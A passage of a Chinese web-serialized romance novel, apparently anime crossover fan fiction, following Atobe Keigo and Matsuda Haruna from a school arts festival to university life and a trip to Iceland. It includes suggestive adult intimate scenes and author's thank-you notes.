几人聊得正欢时,耳边突然传来了学校的钟声。 松田春奈一拍双手道:“艺术节已经正式开始了,咱们也别杵在这里当门神了,赶紧进去吧。” 此话正合忍足的心意。 他巴不得她带着迹部马上从校门口消失。 要是一个不慎,被好事者拍到迹部家和道明寺家继承人大打出手的画面。那他们冰帝举办的这届艺术节,在某种意义上来说,也算是能永载史册了。 看着忍足连连点头,松田春奈豪气道:“走吧,每个摊位的活动策划我都已经倒背如流了。趁现在还没什么事,我带你们先提前逛逛。” “我要去言情小说摊位!”忍足侑士泰然自若,视迹部暗地里的白眼于不顾,直接高声抢答。 早在核对各项活动策划的时候,他就对这个项目情有独钟。 听说不但有言情天后最新出版的亲签小说,还有各种古早文学大乱炖。身为一个普普通通的文学爱好者,他怎么可能错过这么一个文坛盛事! “这个摊位在C区3号。”松田春奈小幅度地转动了下脚踝,眉间极快地掠过一丝痛楚,而后又面色如常地说道,“每到整点的时候,摊位还会有抽奖活动。礼品绝对让你满意。” “你没事吧?” “你的脚怎么了?” 两道不同的声线同时出现在她的耳边。 “没什么,这双鞋今天是我第一天穿,所以有点磨脚而已。” “严重吗?快给我看看!” 迹部景吾心急如焚,直接将她打横抱起,轻轻放到一旁的长椅上。 他半蹲在她的面前,白皙修长的手指握住她纤细的脚踝,直接搭在自己的大腿上,想要伸手脱鞋,看看情况到底如何。 “欸——”松田春奈急忙伸手阻拦。 她看着为了避嫌,特意背过去站着的忍足,小声在迹部耳边道:“我真的没事!” 迹部景吾看她急得脸都红了,知道她是不好意思。 没等他开口,忍足仍然保持背对着他们的姿势,快速说道:“我忽然想起来还有约,先走了。好不容易一年一次的四校艺术节,我可不打算把光阴耗费在你们这对小情侣身上。” 松田春奈立即出声道:“等一下!” 她轻轻晃了下腿,迹部会意,像对待重症病号一样,轻柔地把她的腿从自己身上拿下去。 由于骤然刹车,忍足侑士从原来的背对他们而立,变成了侧对着他们。 即使他把视线特意挪开,但他的余光还是会不听自己大脑的使唤,莫名其妙地就自动调焦。 这是忍足侑士第一次知道,原来他的周边视野能力这么好。 好到能清楚地看到身旁两人的一举一动。 ——以及松田脚踝处轻微的红色指痕。 明明很淡,但却比他眼前的所有色彩都浓。 他狠狠地闭了一下眼,在心里催眠自己。 他只是人比较狗,又不是真的狗。 他本人对吃狗粮一点兴趣也没有 松田春奈被迹部强硬地按在椅子上,无法起身。她冲他挥了挥自己手中的号码牌,笑意盈盈道:“我把我的内部号码给你。呆会儿你去抽奖的时候,中奖的可能性会大一些。” 即使忍足自觉没什么异样,但对于迹部落在他身上的锐利目光,还是下意识地有些心虚。 “既然腿脚不方便,那就老实坐在这里,我去把牌子给他。”迹部景吾自然道。 “你自己好好玩,我先带着春奈回去了。” 忍足咬紧牙关,把那句马上就要脱口而出的“你们要回哪”给咽了回去。他一如往常地笑着点点头,然后转身离开。 迹部景吾又坐回到松田春奈的旁边,开口道:“现在可以让我看看伤口了吗?” 松田春奈挠挠脸:“还是回办公室再看吧。” 他点点头,没再说什么。手刚抬起来,立刻又放了下来。 “你是想怎么回去?” “什么意思?” “是想让我抱你回去,还是让我背你回去。” “我想让你搀我回去。” 迹部没等到自己想要的答案,皱眉道:“你都这个样子了,还能走路吗?” 默默感受了一下自己脆弱的脚后跟,松田春奈认输了。 “那你把我搀到人少点的地方,然后再抱我回去。” 迹部景吾挑眉,他环视了四周一圈,看着校园里到处都是三两结对的人群,笑道:“春奈,你来告诉我,现在冰帝哪里人少?啊嗯?” 松田春奈话说出口后,也觉得不妥。 迹部把外套脱下来,开口道:“要是觉得不好意思的话,就把外套盖在脸上。这样别人就看不到你了。” 那句话怎么说得来着。 逃避可耻,但有用! 松田春奈目前还没有修炼到,一边能顶着外校人戏谑的目光,仍然还在男朋友怀里安然呆着的程度。所以她果断采取了鸵鸟埋头装死的策略——把外套一蒙,窝在他的怀中。 一旦回到了办公室,变成了两人独处,松田春奈就觉得自在多了。 她任由迹部将自己的鞋袜去除,十分自在地将小腿放到他的膝盖之上。 迹部看着眼前只是有点红肿的脚后跟,松了口气。小心翼翼地给她上着药,嘱咐道:“最近别穿这双鞋了,我呆会儿给你拿双拖鞋,活动结束后你穿着回家就好。” 松田春奈笑眯眯地点头。 她倚靠在沙发上,欣赏着他英俊的侧颜。 药膏抹上之后有些痒,她下意识地想要在他膝盖上蹭蹭。然而在下一秒就被他单手抓住了脚踝。 “忍一忍,别乱蹭。” 自从迹部的身高突破183大关以后,他身体的各个部位也都随着身高生长了一大截。 以前两人牵手的时候,她的手掌还能勉强地覆盖住他的小半手背。 而现如今他大手一伸,就能将她两只手腕都握在一起。 看着他轻轻松松就将自己的脚踝单手圈住,甚至还有些富余。松田春奈莫名觉得有些羞涩。 她清了清嗓子:“你放开我,我保证不乱动了。” 迹部信不过她。 他一只手圈住她的脚踝,另一只手也不闲着,自如地处理着电子设备上的公务。 “等五分钟。五分钟之后,我就放开你。” 药膏上的使用说明明确写着,起码要五分钟之后才能生效。 迹部景吾在大多数情况下,很愿意充当一个善解人意的男友角色。 但总有情况例外。 松田春奈得到了一个明确的时间点,顿时不挣扎了。和迹部一样,她打开手机,时刻关注着策划群里有没有人找她。同时观察着各摊位的监控视频,看有没有突发事件发生。 五分钟很快过去。 迹部景吾默默地把手移开。 由于他圈得时间较长,这次松田春奈的脚踝处,出现了颜色更为明显的红色印记。但两人都对此没有太在意,而是继续投入到各自的工作之中。 几个小时的时间转瞬即逝。 松田春奈搭在迹部膝盖上的脚一直没有都收回去。 她伸了个拦腰:“前面的活动都平安结束,终于就剩下最后一项了。” 迹部景吾看过她的策划,知道她说得是什么。 “现在下楼应该找不到什么好位置了。所以——”他给她穿上拖鞋,“要去楼顶一起看烟花吗?” “好啊。”松田春奈的眼睛弯成月牙,整个人完全放松下来,“但要你抱我。” 迹部景吾:“求之不得。” 学生会这边的大楼总是十分清静,正适合情侣之间约会独处。 “还好冰帝有个占地很大的人工湖,不然烟花这个环节可就申请不下来了。”松田春奈舒服地靠在迹部身上说道。 运动系的男孩子身体就是好,不管多冷的天,身上总是散发着一股能将人融化的热量。 “春奈,现在离放烟花大概还有多久?” “唔还有五分钟的样子。” “那要接吻吗?” “?” 松田春奈歪头看他:“你的第二个问题,好像和前文一点联系也没有。” 迹部景吾点头:“嗯。所以,要接吻吗?” 看着她满含笑意的眼神,他慢慢低下头 太过安静的场合有时也不太好。 交缠的呼吸声,亲吻的水渍声,以及震耳欲聋的心跳声,全都清晰可闻。 “砰”地一声,迹部景吾的后背不轻不重地撞到了身后的墙壁。 顾不得自己的轻微洁癖,他伸手将她抱了起来,嵌在自己怀里,继续吻了上去。 忍了许久的平静面孔终于被他撕去。唇齿间的厮磨带着股吞噬一切的狠劲 去他的善解人意,如果可以,他想把世上所有觊觎她的人通通判刑下狱。 快点长大吧,他用力吮吸着她的唇瓣。 届时,他会筑起高高的城墙,将巨龙的宝藏妥善收藏。 当第一响烟花在冰帝上空绽放的时候,光影在划破黑夜的同时,也映亮了两人沉醉的面庞。 在寂静的屋顶之上,他们从暮色苍茫,一直吻到烟花殆尽,人潮散去。 作者有话说: 感谢在2024-06-19 23:30:27~2024-06-30 01:59:44期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:静雅雨尧10瓶; 非常感谢大家对我的支持,我会继续努力的! 第52章 得到冰帝内部推荐信的松田春奈,在次年的春季顺利考入了东京大学。 松田父母特意去置办了一身新衣服,打算到时候一家人整整齐齐地去送她报道入学。 松田春奈坐在沙发上,时不时地就两人的着装发表一下参考意见。 松田阵平看着他们几人忙来忙去的样子,缓缓发出疑问:“所以你们现在连象征性地问我一下都不肯,就直接默认我没空去了是吗?” 虽然说他确实因为工作的关系经常加班,有时候忙起来怕下班太晚打扰他们休息,干脆和萩原他们凑合住在警察宿舍。 但也不能把他直接剔除四口之家的范围啊! 松田阵平努力为自己的家庭地位发声。 松田妈妈正对着镜子仔细地整理着裙角,闻言头也不抬地敷衍问道:“那阵平,你后天有时间去送春奈入学吗?” “当然有!” 松田爸爸“嗯嗯”两声,一边打着领带,一边开口道:“那你能确保当天不会突发警情,然后又要回去值班吗?” 松田阵平:“” 他不就是两年前在家庭聚会的时候,临时鸽了那么一次嘛! 整整两年了,此后但凡有家庭活动,他那次的失约记录都会被拉出来溜溜 “后天我和研二他们会去东大做公共安全教育讲座。”松田阵平学着松田春奈的姿势,把头放到沙发上。 两个人的脑袋毛茸茸的,一齐随着父母地走动来回转动,像是两个在冬天抱团取暖的小动物:“所以,我是肯定不会在春奈报道日那天缺席的。” 松田春奈用脚后跟想,都能猜出来他去东大宣讲的目的。 无非就是怕她在东大受人欺负,所以穿着警服去先下手为强。 松田阵平这几年,每年都积极报名警察入校宣传安全讲座的工作。虽然这项任务有额外补贴,但还是少有同行愿意参加。 无他,单纯是因为这活太麻烦了。 他的上级看在他这么主动配合的份上,每次都把他分配到冰帝去做讲座。 一连去了三年,连门口的门卫都认识他了。 等到松田春奈从冰帝毕业了,他也就跟着改旗易帜—— 转道申请去东大宣讲。 关于宣讲这件事,除了松田阵平主动打报告以外,萩原研二更是当仁不让,紧随其后地向上级申请一并前往。 毕竟这几年,他们俩也算是宣讲的中坚力量了。 讲座是下午两点开始。 由于松田春奈的舍友一直没出现,她自己一个人在宿舍里呆得无聊,于是早早地就到了报告厅。 大厅里只有三三两两的学生,以及在亲历亲为,搭台拉横幅的松田阵平等人。 她打眼一看,此次的宣讲警察全是老熟人。 五人组一个不落地全都到了。除此之外,还有位高中三年经常顺路送她回家的女警姐姐。 大厅里的演讲台颇高,她懒得绕到旁边去走楼梯。干脆右手一撑,翻身上了台,动作干净利落。洁白的衬衣下摆在空气中划出一个弧线,又帅又飒。 “有什么需要帮忙的吗?”她随手把外套的下摆打了个结。 松田阵平冲她摇摇头:“马上完事了,你下去歇着吧。” 诸伏景光看了眼台下,倒是没拒绝:“春奈妹妹,麻烦帮我递一下那个泡沫板。” 她大概看了眼,板子似乎有八九个。重倒是不重,主要是面积太大,一次搬不了太多。 她估摸了一下,弯腰抱住板子的中间部分,径直就往他们那边运。由于长度过长,泡沫板有部分在地上拖着,看起来有些不便。 她把板子用力举过头顶,衣服随着她的动作向上窜了一块。露出一小节腰肢,像白玉一般,行走间隐隐还能看到腹肌的轮廓。 只听见“咚咚”两声,又有人飞快地跳到台上。 “唰”地一下,松田春奈就感觉手中轻快了不少。她望过去,原来是有人帮她将拖在地上的那部分板子抬了起来。 穿着浅蓝色衬衣的陌生男子看起来酷酷的,什么话都没说。默默地和她一起把泡沫板送到了诸伏景光那里。 “这个板子太长了,你去休息吧,我来就好。” 这位酷哥丢下这么一句话后,便飞也似地跑过去,把剩下所有的板子都抱了起来。 他身高腿长,即使是这么长的板子,抱得也是轻轻松松,毫不费力。 松田春奈本想上前搭把手,结果一下被哥哥按在原地。他大步流星地走过去,和酷哥一起把板子抱了过来。 酷哥在两人的脸上停顿了几秒,然后说道:“你们兄妹二人,长得还挺像的。” 松田阵平默默地在心里叹口气,这种搭讪的开场白,他听了就算没有一千次,也得有八百次了。 按照往常的经验来看。确认完他们二人兄妹的身份之后,丫就要开始想办法先找共同点,再拍自己马屁了 “我父亲也是警察——” 果然! 松田阵平丝毫不为所动,自从他穿着这身制服和他妹妹说话的时候,总有人能翻遍家谱,并从中找出来个当警察的亲戚来开启尬聊模式。 起码眼前这小子的警察亲戚是直系亲属,总比那些从犄角旮旯里扒拉出来的人强点。 按照松田春奈本来的习惯,在别人刚搭讪第一句话的刹那,就会说出自己有男朋友这件事。 毕竟这种你知我知的搭讪行为,如果无意的话,最好还是早点说清为好。 但谁让这位酷哥刚帮了自己一个忙呢。 于是她耐着性子听他讲到了最后。 “——你刚刚上台的那一手真漂亮,核心力量很强。你的这种身体素质,就算去考警校肯定也没问题我家人说,未来几年警校的选拔考试内容会有所变动真不知道四年后我去考的时候,还能有几分把握。” 松田春奈抓关键词抓得很快,她看着他问道:“你毕业之后打算考警校?” “成为东京区的警视总监是我的梦想之一。” 哦豁! 这不巧了。 台上统共就站着他们八个人。其中,有三个人的梦想是一样的 酷哥抿了抿嘴唇,仿佛有些不好意思似的:“你不会觉得我在说大话吧。” 松田春奈笑着说道:“大话倒说不上,但你的梦想应该很难实现了。” 酷哥低头道:“我心里其实也有数的,毕竟东京区卧虎藏龙——” “因为将来东京区的警视总监应该是我!” “欸?” “而且,我还会是最年轻的那位!” 松田春奈臭屁地补充道,自信满满。 酷哥“扑哧”一笑,屋内顿时春光四溢:“那请问未来的警视总监,现在可以给我一个抱大腿的机会吗?” 松田春奈没有回答。 “同学,可以告诉我你的联系方式吗?”以为她没明白自己的意思,酷哥直球问道。 而后又语速很快地解释道:“既然大家未来目标一致,如果警校入学考试内容有变动的话,我们还可以互相交流一下各自的情报。” 听到这里,松田阵平终于对他刮目相看。 好家伙,这小子的段位是他见过的最高的。 看起来一副不善言谈的样子,然而聊天的过程中,既能显示自己的优点,还能察言观色卖惨博一把同情。 高,实在是高。 与此同时,松田春奈将原本准备好的话也咽了下去。 酷哥话里话外都透露着他父亲负责警校面试这一块的内容,到手的资源不用白不用。 她点了点头,把手机伸了过去。 酷哥的名字和他本人正相反,看起来倒是温温柔柔的四个字——濑户凉太。 “虽然现在说这句话很奇怪。”松田春奈低头给他改着备注,“但濑户君,我是有男朋友的。” “是吗?”酷哥的手稍微颤动了一下,然后面不改色地说道:“不过像松田桑这样的女孩子,没有男朋友才是奇怪的事吧。” “不过,松田桑的男朋友好像有些不称职呢。不但让你一个人在这里等这么久,而且在你需要帮助的时刻,也没有第一时间出现。” “多谢这位陌生同学的建议。”熟悉的华丽嗓音倏然而至。 迹部景吾终于到了。 没办法,他也想和女朋友早点见面。但谁让他不受女友父母的待见呢。 之前松田春奈收藏了一个很火的视频,讲的是如何找准xue位来按摩放松身体。打算跟着视频学会之后给家人实践。 那这个小白鼠只能靠他来当了。 毕竟她一怕痒,二怕疼。坚决与之相反的行为。 好巧不巧,在她哼哧哼哧找xue位按摩的时候,这一幕被她的父母给撞见了 这种事越描越黑。 她越解释,她的父母的面色就越不善。 到最后,这桩冤假错案还是没能得到澄清。 他其实一直在校门口的车里等着,一直看到松田父母离开之后,这才进来找她。 没成想一进来就是个暴击。 有个一看就心怀不轨的男子在试图挥锄挖墙脚。 即便这种场面已经不是第一次见了,但他还是极度不爽。 但是就算是再大的怒火,也在听到她说自己有男朋友的那刻而烟消云散了。 迹部景吾站到松田春奈的身边,以一种充满占有欲的姿态,径直看向濑户凉太,笑里藏刀地说道:“从今往后,我会努力不给任何人以可乘之机,用任何借口来搭讪我的女朋友。” 濑户凉太冲他勾了勾唇角,满是平静的脸上,却莫名有种挑衅的意味:“那再好不过。” 迹部对这种把戏再熟悉不过,都是他从前玩剩下的玩意。如果仅凭这么几句话就想让当场他失态的话,那他真是太高看自己了。 “刚刚搬东西了吗?累不累?”迹部景吾连眼角都没扫过濑户凉太,自顾自地拉住松田春奈的手,与之十指相扣后,毫不避讳地给她按摩着手背。 松田春奈:“还好。大部分都是濑户君帮我搬的。” “是吗?”迹部景吾噙着笑意,一副正宫做派,特别官方地朝他伸出右手:“多谢濑户君刚刚帮我女朋友。” 濑户凉太随意扯了下嘴角,同样把手伸了过去。 两双骨节分明的大手暗自发力。 交握在一起的时候,各自手背上的青筋都十分明显。 大家都是男人,心里有什么想法都门清。 迹部将他眼底的不甘和蠢蠢欲动看得一清二楚。 还真是让人手痒。 真想一拳把他这张伪善的脸给打飞。 之前也不是没有男生当着他的面给松田春奈告白。 就拿冰帝毕业典礼那天来说,一大群不知道从哪里冒出来的男生,排队打卡一样地拿着各自的第二颗纽扣过来找她。 即便都落得同一个被拒绝的下场,但好歹也没这么讨厌! 迹部景吾咬紧牙根,右手继续用力。 三秒过后。 濑户凉太将已经没有知觉的右手放到身后,和松田春奈告别后,从旁边的楼梯走下去了。 迹部景吾照常和各位亲友团打了招呼,然后就像化身为人肉挂件一样,紧贴在松田春奈的身边,在前排落座。 “濑户君刚刚和我握手的时候,故意偷偷用力。”迹部景吾知道她是隐形的手控,很是心机地把修长的右手伸到她的面前,光明正大地卖惨,“我的手现在都没有知觉了。” 松田春奈似笑非笑地看着他:“那你和他握手的时候,没有用力吗?” 迹部“哼哼”两声:“我那是预判了他的预判,顶多算是自我防御。” 松田春奈懒得和他犟。 低头把他的手放到自己腿上,两只手一起对他的大手肆意把玩。 “你的手是不是又大了一点?” “好像是。要再比一下试试吗?” “唔你的手已经大到能把我的手都包起来了吗?” 松田春奈还在震惊男友的手掌宽度,就听到他在自己耳边宣誓似的,郑重说道。 “春奈,以后就算我去英国读书,也会每周都回来陪你的。” 她比划了一会儿之后,很快就觉得这项活动没意思了。 “你想好了吗?这样你会很累的。” “我甘之如饴。” 每个人对于累的定义不尽相同。 对于有的人来说,每周英国和日本之间往返是累;可对于他来说,呆在没有她在的地方才是累。 其实这件事,在他今年一月拿到了剑桥OFFER的时候,就已经想好了。 山不就我,我便去就山。 好在东大和剑桥两地的校历有所不同,他可以在国内一直呆到秋季再去剑桥入学。 这正和他的心意。 高中的时候,大家还比较委婉, 她说了拒绝之后,那些人也就不好意思过多纠缠。 但大学的话—— 迹部想到濑户凉太毫不收敛的眼神,眼睛微眯。 这些男大生的脸皮厚度简直呈几何形式增加。 他单手敲着大腿,暗自打算着。 趁着这几个月的额外时间,他可以多来东大陪陪她。把男朋友的身份牢牢地印在那些蠢蠢欲动的人的心里才好。 “春奈,我出国之前的这段日子,能经常来东大和你一起上下课吗?” “我是没有问题,但学校这边——” “我已经提前申请了旁听。” “ 那你还问我干什么?” 迹部景吾:“因为我更想得到你的允许。” 松田春奈一听,来了兴趣:“那要是我刚刚没有同意呢?” 光是想到那种可能性,迹部景吾脸上的笑意就险些维持不住:“那我就尊重你的想法。” 讲座马上就要开始,大厅里陆陆续续来了不少人。但由于他们坐得太往前,周边还是没有什么人。 “景吾。”松田春奈语气难得严肃,“如果你觉得这段感情太累——” “我不累!”迹部景吾立刻打断道。 他看着她,神情紧张,鼻翼翕动,生怕她说出什么自己不想听的话来:“我一点也不累。真的!” 在高中毕业之后,他就时不时地有些不好的念头。 虽然两人的相处和之前没什么变化,但他还是能敏锐地察觉到一丝不同。 自己的女朋友好像处于一种等他主动提分手的状态。 他的直觉帮他在球场上赢过很多次,希望在情场上也能祝他一臂之力。 松田春奈缓缓说道:“我只是想告诉你,不要因为别人,而委屈自己的内心。” “这句话其实也是你内心的真实写照,对吗?” “是的。” 迹部景吾无声地叹出一口长气:“春奈,我不委屈的。” 松田春奈满是探究地看着他,像是要从他的眼里看到他内心的真实想法:“真的?” “当然。” ——才怪! 迹部景吾在心里嘲笑自己的虚伪。 谁让她喜欢的是一个正常的温和的好人呢? 所以,在这层面纱被识破之前,他愿意扮演这样一个角色。 如果真的按照他内心的想法去做的话,他不确定自己会不会发疯把她藏到一个任何人都找不到的地方 虽然他常常觉得,那样的生活也没有什么不好。 松田阵平他们的安全讲座顺利结束,一行人决定去吃顿好的庆祝一下。 松田春奈:“听说东大附近有家很棒的炸猪排。” 松田阵平丝毫不动心:“我觉得在东大食堂随便吃点就不错。” “你确定?”松田春奈看着他这身警察制服问道。 松田阵平毫不犹豫地点头:“当然。” 他千方百计来宣讲的目的不就在此嘛。 食堂的人流量肯定不小,肯定能让更多的人知道她有个警察亲属。 应这几位警察的要求,他们连楼上的包厢都没去,直接大剌剌地在食堂的公共座位上吃了顿乌龙面。 警察不是白当的,这几年的阅历让他们的气势变得更盛。 鼓鼓囊囊的肌肉把制服撑得满满当当,方圆五里之内,都没有学生愿意坐在他们附近。 不知道的,还以为是黑警已经入侵东大校园了。 该说不说,这顿饭的效果确实不错。 一直到大一放暑假之前,也没有多少人敢向松田春奈表明心意。 当然也有几个胆大的。 但在看到一直在她身边当门神的迹部的时候,也就自动退却了。 比喝中药还管用。 虽然东大前两年不分科,但松田春奈的才华就像喷嚏一样,总是掩盖不住的。 不少教授都对她印象深刻。 其中有位器械方面的大拿——麻生教授,对她更是见猎心喜。 经常私下给她开小灶不说。在得知她未来想当警察的时候,直接大手一挥,让她参与到自己组内的一些项目中。 “当警察的话,前期可赚不到什么钱。”麻生教授语重心长道,“还是趁着现在多给你攒点本钱为好。这样你未来也不会因为金钱而拘谨。” “当然,要是你被我的金钱炮弹吸引,以后不当警察,去跟着我读博的话就更好了。” 松田春奈很感谢麻生教授对自己的赏识,每次留下的任务都会认真完成。短短几个月,在教授这里分到的分红已经不亚于她在冰帝时攒的小金库了。 时光总是在不经意间走得飞快,一晃眼就到了九月。 鉴于迹部景吾马上就要去飞到英国,和她开启异地恋模式。两人决定提前去欧洲玩一圈。 第一站是冰岛,最后一站是剑桥。中间的站点看情况分配。 他们提前预定了大名鼎鼎的极光酒店。就是为了足不出户,也能在房间里欣赏到极光的美景。 但天不遂人意。 接连两天都一无所获。 更糟糕的是,对于麻生教授给自己的新方向,松田春奈解到一半就卡壳了,再也没有新的头绪。 迹部景吾看着她像只无头苍蝇一样地在房间里乱窜,好声好气地劝她一起出门走走,说不准就能找到新的灵感。 松田春奈同意了。 他们预定的酒店比较高级,算是独栋的木屋。北欧人比较讲究边界感,所以木屋与木屋之间的距离也比较远。 闷头走了一段时间后,他们忽然发现有一对情侣在路边架了一个一看就很昂贵的相机。 情侣见到他们很是热情,开心地邀请他们过来一起欣赏极光—— 不过是存在于他们相机里的。 松田春奈弯着腰,和迹部一起挤在狭小的镜头前,看着里面像绿色绸带一样的极光,急躁的心多多少少地被安抚了一些。 “出门这一趟也算是得偿所愿了。”松田春奈说道,“起码看见了极光。” 他们几个人就这么蹲在地上,默默地看着相机里的极光发了会儿呆,这才互相道别。 迹部景吾拉着她慢慢地往回走:“极光看够了吗?” “没有。” “那我请你看点别的。” 松田春奈失神地望着屋顶,身下的被子隆起一大块。 她面色潮红,眼角有泪水滑落,鬓边的汗水将发丝打湿,洇到了枕头上,形成一个个小小的圆圈。 渐渐地,她的呼吸声越来越急促,手指胡乱地抓着发丝,脚趾绷呈一条直线 良久,她的腰肢才缓缓落到床上。 迹部景吾的唇色湿润,带着股殷红。眼尾的泪痣仿佛浸足了水,比平时更夺目。 “舒服吗?” 松田春奈懒洋洋地躺着,眼睛半阖,春色惑人:“舒服。” “你刚刚说请我看点别的,就是指这个?” 迹部景吾以为自己没让她满意,紧张道:“是我哪里做得不好吗?” 松田春奈的声音很轻:“没有,你做得很好。” “只不过——” 迹部景吾知道她有洁癖,漱完口后,才凑到她身边,问道:“只不过什么?” “只不过,我想再看点别的。” 迹部景吾呆呆地看着她,生怕自己理解错意思。 明明他刚刚喝了很多水,但嗓子反而更干了:“你是说那个是我想的那个意思吗?” 松田春奈伸出脚,轻轻放到他的腹肌上面。柔嫩的面颊上,泛着惑人的色彩。 “真是个呆子。” 仿佛终于听到了攻城的号角,迹部景吾两手握住她的脚腕,向他的方向一带。 复又埋下头去。 安静的房间里,顿时充斥着激烈的水渍声。 松田春奈一时受不住,漏出了点声响。 她的声音婉转悠扬,像是带着钩子,听得人心底发痒。 好在迹部景吾没有傻到透顶。 虽然没有看到天上的极光,但松田春奈确实见到了另一种形式的光。 它比极光更绚烂,也比烟花更持久。 作者有话说: 感谢在2024-06-30 01:59:45~2024-07-03 23:55:34期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:知微64瓶;陌染3瓶; 非常感谢大家对我的支持,我会继续努力的! 第53章 说来也巧,在松田春奈享受到极乐的时候,那道她一直卡壳的题目似乎也有了点眉目。 仿佛是冥冥之中受到了上天的点拨。 她缓过神来之后,立刻拿起手机把思路大概记录了下来。 然后又激动地亲了迹部景吾一口:“景吾,你可真棒。” 没错,根据严谨的控制变量法,松田春奈已经把这道题目的成功破解,归因于在两人的欢爱上了。 在现存的一切因素都没变的情况下,只有某项特殊因素变了的话很难让人不往那方面想。 “唔谢谢?”迹部景吾被这么一夸,内心掩饰不住地开心。 嘿嘿。他的表情管理直接破功。 还有什么话,能比这句夸赞更让他增长信心的呢。 两人就这么驴唇不对马嘴地互相恭维了几句之后,迹部景吾咧着嘴角,忍不住为自己谋福利道:“既然你觉得不错的话,那咱们再来一次?” 松田春奈现在满心满眼地都是先去解题,一切事情都要往后顺延。 觉得身上粘腻得厉害,她毫不犹豫地起身去洗漱,说道:“等我解完那道题再说。” 迹部景吾:“?” 他俊秀的眉眼之中,有着大大的疑问。 明明刚刚还在夸自己棒,怎么转眼之间就弃之如敝履了。 这态度简直比古时的皇帝还要无情。 他低头看了眼自己,叹了口气,老老实实地去另一个浴室冲凉水澡降火。 松田春奈为了赶时间,洗完澡后连头发也没吹,只是随意地用浴巾包着就出来了。 她曲腿倚靠在床尾凳上,把笔记本放在腿上,毫不在意顺着耳后留下来的水渍,全神贯注地敲打着键盘。 迹部景吾为了让自己恢复冷静,在浴室里呆得时间比女友还长一些。 出来之后,他看向松田春奈的头顶。 上面的毛巾在吸水之后变得沉重起来,摇摇欲坠,似乎下一秒就要落到地上。 他转身去拿了另一条蓬松干燥的毛巾。然后绕到她的身后,插上吹风机。 “不把头发吹干的话,早上醒来的话容易头疼。” 屏幕的光映射在她深色的瞳孔里,松田春奈“嗯嗯啊啊”地搭着话,手下的动作却丝毫未停。 “噼里啪啦”地比鞭炮声还密集。 迹部景吾知道她的习惯,不把东西一次性做完,是绝不会挪窝的。 他自觉地承担起男友职责。把她头顶湿透的毛巾拿下来,放到一边。再用干燥的毛巾裹住她的湿发,动作小心极了,生怕会打扰到她。 看着时间差不多了,迹部打开吹风机,将手指轻柔地插入她的发丝之中,给女友提供贴心服务。 他轻轻捻着松田春奈的长发,看着它们被风吹得如同海藻般摇晃。眼前又晃过刚刚她躺在床上,头发如丝缎般散开的场景 他深吸了口气,努力地让自己冷静下来,不然呆会儿又得去洗冷水澡。 由于松田春奈的头发又厚又长,迹部吹了好久才勉强给吹干。他凑过去,坐在她的身边,摸着她干爽的发丝,心里充斥着满足感。 有了思路之后,松田春奈没过一会儿就把题目解了出来。她伸个懒腰,顺势倚在迹部的怀里。 “终于搞定了。” 松田春奈侧过头,轻轻地吻了下近在咫尺的喉结。 放在自己腰侧的手明显收紧,头顶传来迹部低沉的声音。 “春奈,你知道我的记性很好。” 松田春奈眨眨眼,觉得眼前的喉结一上一下地,很有意思。 她忍不住把手放到上面,缓缓地摸着那块凸起:“嗯所以?” 迹部景吾反握住她的手:“我刚刚的提议,你并没有拒绝。所以我们再来一次,好不好?” 松田春奈朝他招招手,迹部会意地低下头。 她轻轻地咬了一口他的喉结,声音有些含糊不清:“看在你给我吹头发的份上。” 迹部景吾含着笑,声带振动起来。 他丝毫不觉得疼痛,反而将她的头愈加按向自己:“嗯,看在我给你吹头发的份上。” 这一次,迹部景吾充分感受到了灯下看美人的妙处。 柔和的灯光下,她的头发随着自己的动作起伏,摇晃地比刚刚还要激烈。 汗水从她白皙的脖颈滑落,顺入到她轻薄的睡裙之中,湿漉漉地贴着她,却把她秾纤合度的身材显得愈加曼妙。 迹部的呼吸越来越急促,急切地低头去衔住她的唇,喃喃地说着一大堆让人耳红心跳的情话。 松田春奈觉得自己像是被一只大型犬给舔了,全身上下到处都没放过。 虽然她现在的体力已经进步许多,但还是有些跟不上他的速度。 最后还是迹部看她体力告罄,这才鸣金收兵。 松田春奈在床上缓了好一会儿,才感觉自己又回到了人间。 “想去洗澡?”迹部景吾抚着她的后背问道。 松田春奈点点头。 得到肯定回答的迹部单手将她捞起来,向着浴室走去 很快,水流声中又渐渐夹杂着一两句破碎的喘息声。 在蒸腾的雾气中,松田春奈的双手勉强支撑在眼前的玻璃门上,背后是迹部比水流还要火热的胸膛。 “景吾”她努力平稳着自己的气息,解释道,“我刚刚那句话是开玩笑的。” “是吗?”迹部景吾咬着她的耳朵:“可是我当真了。” “放心,这次结束之后,你就能感受到腿软的感觉了。” 良久,松田春奈终于被满脸魇足的迹部抱了出来。 “春奈,以后如果你还有类似需求的话,请务必让我知道。” 松田春奈:“” 她现在不仅仅是腿软的问题,是到处都软。没劲和他掰扯,她把被子随便一盖,就沉沉睡去。 迹部景吾倒是精神得很,给她涂好身体乳之后,这才抱着女友,心满意足地进入梦乡。 自从迹部去剑桥读书后,松田春奈在东大的日子可谓是如鱼得水。 上有赏识她的大拿教授,下有志同道合的好友。 也不是说之前有他陪伴的日子不好。主要是之前的那段时间,他实在是黏人得紧。 即使是再帅的大帅哥,也容易让人产生倦怠之感。 反而是现在两人一周见一次的频率更适合她。 没错。 迹部完全遵守了他当初的承诺。即使是在课业繁忙,海外事务压身的情况下,他也能抽出时间,和松田春奈定时见面。 为了两人见面方便,他直接在东大附近买了套房子。时不时地还会远程订购一些东西,把房子装扮得很是温馨舒适。 松田春奈平日住在东大的校园宿舍里,只有迹部回国的时候,才会住过去。 看着迹部每次都大包小包地拎着一大堆东西回来,然后兴致勃勃地到处添家具,接着再和她一起去“检验”这些家具的质量。 松田春奈总忍不住在内心感叹,他可真不愧是精力充沛的男大。 “这次买的沙发质量不错。”迹部景吾把上面的痕迹打扫干净之后,说道。 松田春奈觉得他的脸皮越来越厚,阖眼不搭理他。 迹部景吾自顾自说道:“我前几天在网上定制了一个躺椅。” 松田春奈猛地睁开双眼,不可置信地看向他。 迹部景吾被她这副表情逗得前仰后合:“骗你的。” 他像个巨型挂件,环住她道:“谁让你故意不理会我。” 松田春奈舔了舔嘴唇:“那是因为我又累又渴。” 迹部景吾自知理亏,围着她伏低做小了好久,这才又获得了陪睡资格。 就这样,两人每周相聚的日子虽然短暂,但却不乏乐趣。 三年转瞬而过,迹部从剑桥毕业之后,并没有立即回国。而是留在海外继续拓展家族事务。 他们也从每周一见,慢慢变成了两周一见 